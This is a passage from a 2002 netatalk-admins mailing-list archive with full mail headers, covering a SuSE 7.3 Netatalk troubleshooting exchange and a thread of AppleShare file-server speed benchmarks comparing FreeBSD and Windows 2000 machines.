Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Jan 17 15:22:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA03152
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 15:22:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA25362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 15:22:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA25314
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 15:22:45 -0500 (EST)
Received: from mailrelay1.inwind.it (mailrelay1.inwind.it [212.141.54.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA25285
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 15:22:44 -0500 (EST)
Received: from [62.98.97.180] (62.98.97.180) by mailrelay1.inwind.it (5.5.053)
        id 3C3ABE240054127A; Thu, 17 Jan 2002 21:22:13 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 17 Jan 2002 21:21:52 +0200
Subject: Re: SUSE 7.3 & Netatalk
From: zio Luca <ziocuca@inwind.it>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        umich <netatalk-admins@umich.edu>
Message-ID: <B86CF0EF.BA9E%ziocuca@inwind.it>
In-Reply-To: <B86BCBEB.18583%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Il giorno 17-01-2002 1:31, Thomas Kaiser, Thomas.Kaiser@phg-online.de ha
scritto:

> Ciao Luca,
> 
> On Wed, 16 Jan 2002 22:21:06 +0200, uncle Luca wrote:
> 
>> I am running a Netatalk fileserver with Suse 7.3.
> 
> IIRC, this version is built with --enabled-cnid. So every change you make on
> the linux side will have bad effects on your afp filesharing capabilities.
> 
>> I have two principal suspects: the 1.4.99 version of Netatalk runs bad
> 
> I wouldn't pronounce it "bad" -- only strange.
> 
> Are there any messages in syslog when this occurs?
> 
>> or the Reiser filesystem is incompatible with Netatalk.
> 
> No, definitely not.
> 
>> Someone can help me?
> 
> Maybe you are running into problems with the new ID scheme called CNID
> (a really database-driven solution for persistant file and folder IDs).
> 
> You should try out netatalk 1.5.1.1 or use the RPMs, supplied by Olaf from
> SuSE: <ftp://ftp.suse.com/pub/people/olh/netatalk/>
> 
> Buona giornata,
> 
> Thomas
> 
Where can I find netatalk 1.5.1.1?

Many thanks.

Luca Bramardi


From netatalk.administrators-errors@umich.edu  Thu Jan 17 19:35:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA17786
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 19:35:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA08496
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 19:35:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA08485
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 19:35:45 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA08448
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 19:35:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id CAA14129;
	Fri, 18 Jan 2002 02:00:56 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 18 Jan 2002 01:35:40 +0100
Subject: Re: SUSE 7.3 & Netatalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: zio Luca <ziocuca@inwind.it>, umich <netatalk-admins@umich.edu>
Message-ID: <B86D2C6B.1879D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B86CF0EF.BA9E%ziocuca@inwind.it>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 17.01.2002 20:21 Uhr schrieb zio Luca:

> Where can I find netatalk 1.5.1.1?

<http://me.in-berlin.de/~jroger/netatalk/>

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 18 06:03:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA16321
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 06:03:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA19060
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 06:03:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA19058
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 06:03:29 -0500 (EST)
Received: from mta05.mail.mel.aone.net.au (mta05.mail.au.uu.net [203.2.192.85])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA19048
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 06:03:26 -0500 (EST)
Received: from [192.168.1.7] ([210.84.112.202])
          by mta05.mail.mel.aone.net.au with ESMTP
          id <20020118110320.FCXO26853.mta05.mail.mel.aone.net.au@[192.168.1.7]>;
          Fri, 18 Jan 2002 22:03:20 +1100
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Fri, 18 Jan 2002 22:03:20 +1100
Subject: Re: Speed Tests
From: Russell Kerrison <russellk@bearcage.com.au>
To: Lawrence Farr <l.farr@epcdirect.co.uk>
CC: <netatalk-admins@umich.edu>
Message-ID: <B86E4C28.15360%russellk@bearcage.com.au>
In-Reply-To: <000601c19f79$3240c7d0$c806a8c0@lfarr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit



What was the test size on these? In my testing of both Win 2000 and Netatalk
machines, I found that when I went to a 300Mb file size my write speed began
to decline after the first test. I'm looking to move to gigabit, but I am
concerned as to where the bottleneck lies, and whether with gigabit I'll be
getting the kind of throughput that the server disks can handle.

Russell.


on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:

> I have done some Helios Lantesting of Appleshare servers,
> and come up with some good results. These are all done
> from the same test mac (A G4 400, 100Mbit connection),
> and connected to the same switches (Extreme Networks
> Summit 48 and 1). All readings are 10 pass averages, and
> the mac is the only client.
> 
> Machine 1 FreeBSD 4.4-STABLE
> 
> Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> software. (Vinum).
> 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> 
> Average Read  9857.686 Kb/Sec
> Average Write  9580.123 Kb/Sec
> 
> Machine 2 Windows 2000 Service Pack 2
> 
> Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> Striped on a Dell PERC2 With 128Mb cache.
> 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> 
> Average Read 9211.537 Kb/Sec
> Average Write 8948.165 Kb/Sec
> 
> 
> Lawrence Farr
> EPC Direct Limited 


From netatalk.administrators-errors@umich.edu  Fri Jan 18 06:15:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA16887
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 06:15:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA08625
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 06:15:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA08603
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 06:15:41 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA08495
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 06:15:38 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1) id g0IBFEZ23774;
	Fri, 18 Jan 2002 11:15:14 GMT
	(envelope-from l.farr@epcdirect.co.uk)
Delivered-To: russellk@bearcage.com.au
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1av) with ESMTP id g0IBF5d23762;
	Fri, 18 Jan 2002 11:15:09 GMT
	(envelope-from l.farr@epcdirect.co.uk)
From: "Lawrence Farr" <l.farr@epcdirect.co.uk>
To: "'Russell Kerrison'" <russellk@bearcage.com.au>
Cc: <netatalk-admins@umich.edu>
Subject: RE: Speed Tests
Date: Fri, 18 Jan 2002 11:15:04 -0000
Message-ID: <003901c1a011$64e67e80$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <B86E4C28.15360%russellk@bearcage.com.au>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by AMaViS perl-10

This is with the 30Mb test file. It's the release version
of Netatalk, and Jumbo Frames are enabled on the Win2k box
and the switch, but not on the FreeBSD test one.

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: Russell Kerrison [mailto:russellk@bearcage.com.au] 
> Sent: 18 January 2002 11:03
> To: Lawrence Farr
> Cc: netatalk-admins@umich.edu
> Subject: Re: Speed Tests
> 
> 
> 
> 
> What was the test size on these? In my testing of both Win 
> 2000 and Netatalk
> machines, I found that when I went to a 300Mb file size my 
> write speed began
> to decline after the first test. I'm looking to move to 
> gigabit, but I am
> concerned as to where the bottleneck lies, and whether with 
> gigabit I'll be
> getting the kind of throughput that the server disks can handle.
> 
> Russell.
> 
> 
> on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:
> 
> > I have done some Helios Lantesting of Appleshare servers,
> > and come up with some good results. These are all done
> > from the same test mac (A G4 400, 100Mbit connection),
> > and connected to the same switches (Extreme Networks
> > Summit 48 and 1). All readings are 10 pass averages, and
> > the mac is the only client.
> > 
> > Machine 1 FreeBSD 4.4-STABLE
> > 
> > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > software. (Vinum).
> > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > 
> > Average Read  9857.686 Kb/Sec
> > Average Write  9580.123 Kb/Sec
> > 
> > Machine 2 Windows 2000 Service Pack 2
> > 
> > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > Striped on a Dell PERC2 With 128Mb cache.
> > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > 
> > Average Read 9211.537 Kb/Sec
> > Average Write 8948.165 Kb/Sec
> > 
> > 
> > Lawrence Farr
> > EPC Direct Limited 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Jan 18 06:20:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA17082
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 06:20:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA14396
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 06:20:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA14388
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 06:20:39 -0500 (EST)
Received: from relay.ie-online.it (dns.ie-online.it [212.110.22.137])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA14165
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 06:20:29 -0500 (EST)
Received: by relay.ie-online.it (Postfix, from userid 100)
	id 6B43547B4C; Fri, 18 Jan 2002 12:20:23 +0100 (CET)
Received: from attila.ie-interna.it (nat-attila1.ie-online.it [212.110.22.22])
	by relay.ie-online.it (Postfix) with ESMTP id 5F85245C37
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 12:20:17 +0100 (CET)
Received: from guietti.ie-online.it (dhcp11.ie-interna.it [192.168.0.249])
	by attila.ie-interna.it (8.9.3/8.9.3) with ESMTP id MAA42823
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 12:20:17 +0100 (CET)
	(envelope-from guietti@alice.it)
Message-Id: <5.1.0.14.0.20020118122609.00bd0080@mail.ie-online.it>
X-Sender: guietti@mail.ie-online.it
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 18 Jan 2002 12:26:18 +0100
To: netatalk-admins@umich.edu
From: Mirco Guietti <guietti@alice.it>
Subject: unsubscribe
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)



From netatalk.administrators-errors@umich.edu  Fri Jan 18 08:17:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA21802
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 08:17:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA03210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 08:17:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA03202
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 08:17:03 -0500 (EST)
Received: from front2.chartermi.net (24.213.60.124.up.mi.chartermi.net [24.213.60.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA03174
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 08:17:01 -0500 (EST)
Received: from [24.213.15.65] (HELO [192.168.0.2])
  by front2.chartermi.net (CommuniGate Pro SMTP 3.5b2)
  with ESMTP id 50472127; Fri, 18 Jan 2002 08:16:57 -0500
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 18 Jan 2002 08:16:51 -0500
Subject: Re: Speed Tests
From: "Eric J. Feldhusen" <efeldhusen@chartermi.net>
To: Russell Kerrison <russellk@bearcage.com.au>
CC: <netatalk-admins@umich.edu>
Message-ID: <B86D8A73.2ECE%efeldhusen@chartermi.net>
In-Reply-To: <B86E4C28.15360%russellk@bearcage.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

So far, I've seen better performance using multiple 10/100 cards. Usually, 3
10/100 cards will have better performance than one gigabit ethernet card.
Of course, the problem is with having enough ports in your switches and open
slots in the computer.

Eric Feldhusen

On 1/18/02 6:03 AM, "Russell Kerrison" <russellk@bearcage.com.au> wrote:

> I'm looking to move to gigabit, but I am
> concerned as to where the bottleneck lies, and whether with gigabit I'll be
> getting the kind of throughput that the server disks can handle.


From netatalk.administrators-errors@umich.edu  Fri Jan 18 08:53:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA23439
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 08:53:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA27698
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 08:53:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA27679
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 08:53:45 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA27614
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 08:53:44 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1) id g0IDrSa29571;
	Fri, 18 Jan 2002 13:53:28 GMT
	(envelope-from l.farr@epcdirect.co.uk)
Delivered-To: russellk@bearcage.com.au
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1av) with ESMTP id g0IDrKd29562;
	Fri, 18 Jan 2002 13:53:20 GMT
	(envelope-from l.farr@epcdirect.co.uk)
From: "Lawrence Farr" <l.farr@epcdirect.co.uk>
To: "'Russell Kerrison'" <russellk@bearcage.com.au>
Cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: RE: Speed Tests
Date: Fri, 18 Jan 2002 13:53:18 -0000
Message-ID: <005e01c1a027$7f0fdfc0$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <B86E4C28.15360%russellk@bearcage.com.au>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by AMaViS perl-10

Ok, Here's some tests with 300Mb files. My poor celeron
started to show it's limits, so I built a quick replacement,
still nowhere near as powerful as the Win2k box though!

Here's the original two machines at 300Mb testsize:

Machine 1 FreeBSD 4.4-STABLE Netatalk 1.5R

Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
software. (Vinum).
3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.

Average Read 	6896.241 Kb/Sec
Average Write 	4638.899 Kb/Sec

Machine 2 Windows 2000 Service Pack 2

Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
Striped on a Dell PERC2 With 128Mb cache.
3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.

Average Read	9732.36  Kb/Sec
Average Write	9623.616 Kb/Sec

And the new test machine at 300Mb Testsize:

Machine 3 FreeBSD 4.4-STABLE Netatalk 1.5R

P3 800, 1Gb 100Mhz RAM, 2x10kRPM LVD drives,
Striped on an Adaptec SCSI controller.
Intel EtherExpress 10/100Mb Card @ 100Mb FDX

Average Read	10103.846 Kb/Sec
Average Write	10004.49  Kb/Sec

Lawrence Farr
EPC Direct Limited 

> -----Original Message-----
> From: Russell Kerrison [mailto:russellk@bearcage.com.au] 
> Sent: 18 January 2002 11:03
> To: Lawrence Farr
> Cc: netatalk-admins@umich.edu
> Subject: Re: Speed Tests
> 
> 
> 
> 
> What was the test size on these? In my testing of both Win 
> 2000 and Netatalk
> machines, I found that when I went to a 300Mb file size my 
> write speed began
> to decline after the first test. I'm looking to move to 
> gigabit, but I am
> concerned as to where the bottleneck lies, and whether with 
> gigabit I'll be
> getting the kind of throughput that the server disks can handle.
> 
> Russell.
> 
> 
> on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:
> 
> > I have done some Helios Lantesting of Appleshare servers,
> > and come up with some good results. These are all done
> > from the same test mac (A G4 400, 100Mbit connection),
> > and connected to the same switches (Extreme Networks
> > Summit 48 and 1). All readings are 10 pass averages, and
> > the mac is the only client.
> > 
> > Machine 1 FreeBSD 4.4-STABLE
> > 
> > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > software. (Vinum).
> > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > 
> > Average Read  9857.686 Kb/Sec
> > Average Write  9580.123 Kb/Sec
> > 
> > Machine 2 Windows 2000 Service Pack 2
> > 
> > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > Striped on a Dell PERC2 With 128Mb cache.
> > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > 
> > Average Read 9211.537 Kb/Sec
> > Average Write 8948.165 Kb/Sec
> > 
> > 
> > Lawrence Farr
> > EPC Direct Limited 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:16:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA24290
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:16:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA24362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:16:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA24340
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:16:10 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA24321
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:16:10 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g0IEFeB05278;
	Fri, 18 Jan 2002 08:15:40 -0600
Date: Fri, 18 Jan 2002 08:15:40 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Lawrence Farr <l.farr@epcdirect.co.uk>
cc: "'Russell Kerrison'" <russellk@bearcage.com.au>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] RE: Speed Tests
In-Reply-To: <005e01c1a027$7f0fdfc0$c806a8c0@lfarr>
Message-ID: <Pine.LNX.4.33.0201180814470.5140-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Have you tested with all three machines at once? I think you'll see the
results drop off dramatically.

-Dan


---------------------------------
Daniel E. Lautenschleger
Computer Guy
R.M. Bock Labs
University of Wisconsin - Madison

On Fri, 18 Jan 2002, Lawrence Farr wrote:

> Ok, Here's some tests with 300Mb files. My poor celeron
> started to show it's limits, so I built a quick replacement,
> still nowhere near as powerful as the Win2k box though!
>
> Here's the original two machines at 300Mb testsize:
>
> Machine 1 FreeBSD 4.4-STABLE Netatalk 1.5R
>
> Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> software. (Vinum).
> 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
>
> Average Read 	6896.241 Kb/Sec
> Average Write 	4638.899 Kb/Sec
>
> Machine 2 Windows 2000 Service Pack 2
>
> Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> Striped on a Dell PERC2 With 128Mb cache.
> 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
>
> Average Read	9732.36  Kb/Sec
> Average Write	9623.616 Kb/Sec
>
> And the new test machine at 300Mb Testsize:
>
> Machine 3 FreeBSD 4.4-STABLE Netatalk 1.5R
>
> P3 800, 1Gb 100Mhz RAM, 2x10kRPM LVD drives,
> Striped on an Adaptec SCSI controller.
> Intel EtherExpress 10/100Mb Card @ 100Mb FDX
>
> Average Read	10103.846 Kb/Sec
> Average Write	10004.49  Kb/Sec
>
> Lawrence Farr
> EPC Direct Limited
>
> > -----Original Message-----
> > From: Russell Kerrison [mailto:russellk@bearcage.com.au]
> > Sent: 18 January 2002 11:03
> > To: Lawrence Farr
> > Cc: netatalk-admins@umich.edu
> > Subject: Re: Speed Tests
> >
> >
> >
> >
> > What was the test size on these? In my testing of both Win
> > 2000 and Netatalk
> > machines, I found that when I went to a 300Mb file size my
> > write speed began
> > to decline after the first test. I'm looking to move to
> > gigabit, but I am
> > concerned as to where the bottleneck lies, and whether with
> > gigabit I'll be
> > getting the kind of throughput that the server disks can handle.
> >
> > Russell.
> >
> >
> > on 18/1/02 4:05 AM, Lawrence Farr at l.farr@epcdirect.co.uk wrote:
> >
> > > I have done some Helios Lantesting of Appleshare servers,
> > > and come up with some good results. These are all done
> > > from the same test mac (A G4 400, 100Mbit connection),
> > > and connected to the same switches (Extreme Networks
> > > Summit 48 and 1). All readings are 10 pass averages, and
> > > the mac is the only client.
> > >
> > > Machine 1 FreeBSD 4.4-STABLE
> > >
> > > Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
> > > software. (Vinum).
> > > 3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.
> > >
> > > Average Read  9857.686 Kb/Sec
> > > Average Write  9580.123 Kb/Sec
> > >
> > > Machine 2 Windows 2000 Service Pack 2
> > >
> > > Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
> > > Striped on a Dell PERC2 With 128Mb cache.
> > > 3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.
> > >
> > > Average Read 9211.537 Kb/Sec
> > > Average Write 8948.165 Kb/Sec
> > >
> > >
> > > Lawrence Farr
> > > EPC Direct Limited
> >
> >
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>


From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:24:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA24660
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:24:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04332
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:24:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04318
	for netatalk.administrators-members@umich.edu; Fri, 18 Jan 2002 09:24:03 -0500 (EST)
Received: from server.i2rs.nl (213-84-249-14.adsl.xs4all.nl [213.84.249.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04281
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 09:24:02 -0500 (EST)
Received: from there (server.i2rs.nl [10.1.1.2])
	by server.i2rs.nl (Postfix on SuSE Linux 7.2 (i386)) with SMTP id 1510D5B1AE
	for <netatalk-admins@umich.edu>; Fri, 18 Jan 2002 15:24:01 +0100 (CET)
Content-Type: text/plain;
  charset="iso-8859-15"
From: Jeroen Baten <jbaten@i2rs.nl>
Organization: I2RS
To: netatalk-admins@umich.edu
Date: Fri, 18 Jan 2002 15:23:58 +0100
X-Mailer: KMail [version 1.3.2]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020118142401.1510D5B1AE@server.i2rs.nl>

unsubscribe
     

From netatalk.administrators-errors@umich.edu  Fri Jan 18 09:28:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA24833
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 Jan 2002 09:28:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04406
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 Jan 2002 09:28:03 -0500 (EST)
